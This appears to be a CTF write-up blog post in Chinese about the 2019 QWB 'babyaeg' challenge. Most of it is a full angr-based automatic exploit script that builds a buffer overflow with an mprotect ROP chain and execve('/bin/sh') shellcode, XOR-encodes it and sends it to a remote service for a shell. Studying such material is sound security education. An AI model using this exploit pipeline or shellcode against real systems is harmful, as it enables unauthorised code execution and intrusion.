CTF中的AEG(四) 2019 QWB babyaeg

在这里插入图片描述
大概就是三秒嘛

咱拿一个文件下来瞅瞅
在这里插入图片描述
可以说啥都没有吧

在这里插入图片描述看起来似乎非常的麻烦
我们一点一点分析

在这里插入图片描述
ZZ返回0,没啥用,就是设了个随机数种子是0
后面也没用过随机数

在这里插入图片描述
对输入进行一个处理

在这里插入图片描述上面那一堆看起来很麻烦,但其实没用
有用的就是下面payload异或那个

然后需要从b16一路过表达式,才能调到b0
在这里插入图片描述
两个字符串对比,payload前一部分对比,后面就可以复制到dest形成溢出。

那让我们来看官方脚本学一学解题思路

from angr.sim_options import LAZY_SOLVES
import datetime
import angr
import claripy
from angr.sim_options import ZERO_FILL_UNCONSTRAINED_MEMORY, unicorn
from pwn import *
import logging
import codecs

l = logging.getLogger('babyaeg')
logging.getLogger('angr.state_plugins.symbolic_memory').setLevel(logging.CRITICAL)
logging.getLogger('angr.storage.memory_mixins.default_filler_mixin').setLevel(logging.CRITICAL)
logging.getLogger('angr.storage.memory_mixins.bvv_conversion_mixin').setLevel(logging.CRITICAL)
#logging是日志模块
#用logging.getLogger(name)方法进行初始化

#就像函数名一样用来输出状态
def print_statement(state):
	#
    statement = state.inspect.statement
    irsb = state.scratch.irsb.statements[statement]
    l.critical('statement:%s %s' %(statement, irsb))

def handle_call(state):
    function_address = state.inspect.function_address
    function_address = state.solver.eval(function_address)
    count = state.globals['call_count']
    count += 1
    state.globals['call_count'] = count
    if count == 17:
        state.globals['find'] = True

def print_exit(state):
    guard = state.inspect.exit_guard
    if guard.op == '__ne__':
        state.inspect.exit_guard = claripy.false

def aeg(binary):
	#载入项目,但是不分析lib库
    p = angr.Project(binary, load_options={'auto_load_libs':False})
    
    #拿到两个plt表的值与一个got表的值
    memcpy = p.loader.main_object.plt['memcpy']
    puts = p.loader.main_object.plt['puts']
    mprotect_got = p.loader.main_object.imports['mprotect'].rebased_addr

	#载入基本代码块
	#然后在代码块搜索代码
    block = p.factory.block(p.entry).capstone
    for insn in block.insns:
        if 'mov	rdi' in str(insn):
            main_addr = int(str(insn).split(',')[1], 16)
        elif 'mov	rcx' in str(insn):
            init_addr = int(str(insn).split(',')[1], 16)

	#找到main函数
    block_addr = main_addr
    count = 0
    v = []
    find = False
	#
    while True:
        if find:
            break
        block = p.factory.block(block_addr)
        for insn in block.capstone.insns:
            if 'xor' in str(insn):
                v.append(int(str(insn).split(',')[1], 16)&0xffff)
            elif 'call	%s' %hex(puts) in str(insn):
                count += 1
                if count == 3:
                    start = insn.address + 5
                elif count == 4:
                    avoid = insn.address - 5
                    find = True
                    break
            elif (('mov	dword ptr [rip') in str(insn)) & ('eax' in str(insn)):
                g_size = insn.address + int(str(insn).split('+')[1].split(']')[0], 16) + 6
            elif 'lea	rax, [rip +' in str(insn):
                g_buff = insn.address + int(str(insn).split('+')[1].split(']')[0], 16) + 7
        block_addr += block.size

    xor_byte = p16(v[0]) + p16(v[1])

	#起了个状态
    data = claripy.BVS('arg', 0x60*8)
    state = p.factory.blank_state(addr=start, add_options={LAZY_SOLVES})
    state.options.add(ZERO_FILL_UNCONSTRAINED_MEMORY)
    state.options.add(LAZY_SOLVES)
    state.memory.store(g_buff, data)
    state.memory.store(g_size, 2000, endness='Iend_LE')
    state.globals['input'] = data
    state.globals['status'] = 0
    state.globals['call_count'] = 0
    state.globals['find'] = False

	#用了两个hook
    state.inspect.b('call', when=angr.BP_BEFORE, action=handle_call)
    state.inspect.b('exit', when=angr.BP_BEFORE, action=print_exit)


    simgr = p.factory.simgr(state)

	#定义了两个函数
    def encode_payload(xor_byte, payload):
        v = []
        for i in range(int(len(payload)/4)):
            for j in range(4):
                v.append(xor_byte[j]^payload[4*i+j])
        return bytes(v)

	#遍历active状态,找到里面有溢出的状态
    def log_state(simgr):
        for state in simgr.active:
            if state.globals['find']:
                simgr.stashes['overflow'].append(state)
                simgr.stashes['active'].remove(state)
        return simgr

    #simgr.explore(step_func=log_state, find=[0x91482FB], avoid=[avoid])
    simgr.explore(step_func=log_state)

	#用z3去过约束
    state = simgr.stashes['overflow'][0]
    input_data = (state.solver.eval(state.globals['input'], cast_to=bytes))

	#再次在溢出的代码块中把有加密的那个字符串取出来
    block_addr = state.solver.eval(state.regs.pc)
    status = 0
    find = False
    while True:
        if find:
            break
        block = p.factory.block(block_addr)
        for insn in block.capstone.insns:
            #l.warning('insn:%s' %insn)
            if 'lea	rax, [rip + ' in str(insn):
                status += 1
                if status == 2:
                    v = insn.address + int(str(insn).split('+')[1].split(']')[0], 16) + 7
                    cmp_data = state.solver.eval(state.memory.load(v, 8), cast_to=bytes)
                    l.info('cmp:%s' %cmp_data)
            if 'lea	rax, [rbp -' in str(insn):
                offset = int(str(insn).split('-')[1].split(']')[0].strip(), 16)
                find = True
        block_addr += block.size

    enc_payload = input_data
    enc_payload += cmp_data
    #l.warning('offset=%d\n' %offset)
    enc_payload += offset*b'a'

    sc_addr = g_buff + 900

	#最后一段将数据都整合起来,包括过约束的,包括填充,最后利用的rop链
    pop6_ret = init_addr + 0x5a
    rop = p64(pop6_ret) +  p64(0) + p64(1) + p64(mprotect_got) + p64(g_buff&0xfffffffffffff000)+p64(0x2000) + p64(7)
    rop += p64(init_addr+0x40) + p64(sc_addr)*10

    enc_payload += rop
    #print ('length=%d' %len(enc_payload))
    enc_payload = enc_payload.ljust(900, b'\x90')
    enc_payload += b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'

    #l.warning('xor_byte:%s' %xor_byte)
    enc_payload = encode_payload(xor_byte, enc_payload)
    enc_payload = codecs.encode(enc_payload, 'hex')
    return enc_payload

def exp():
    #p = process(argv=['python', 'babyaeg.py'])
    p = remote('localhost', 9999)

    p.recvuntil('wait...\n')
    d = p.recvuntil('here')[:-4].strip()

    with open('./1.bin', 'wb') as f:
        f.write(d)
		
		#把程序拿出来写进1.elf里面
    starttime = datetime.datetime.now()
    os.system('base64 -d 1.bin | gunzip > 1.elf')

	  #调用aeg函数拿到payload
    payload = aeg('./1.elf')
    #l.warning('input: %s' %payload)
    
    #把payload发送回去
    p.sendline(payload)
    endtime = datetime.datetime.now()
    print('time=%s' %(endtime - starttime))
    #还计算了一下一共用了多少时间
    
    p.interactive()

if __name__ == '__main__':
    aeg('./2.elf')
    exp()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值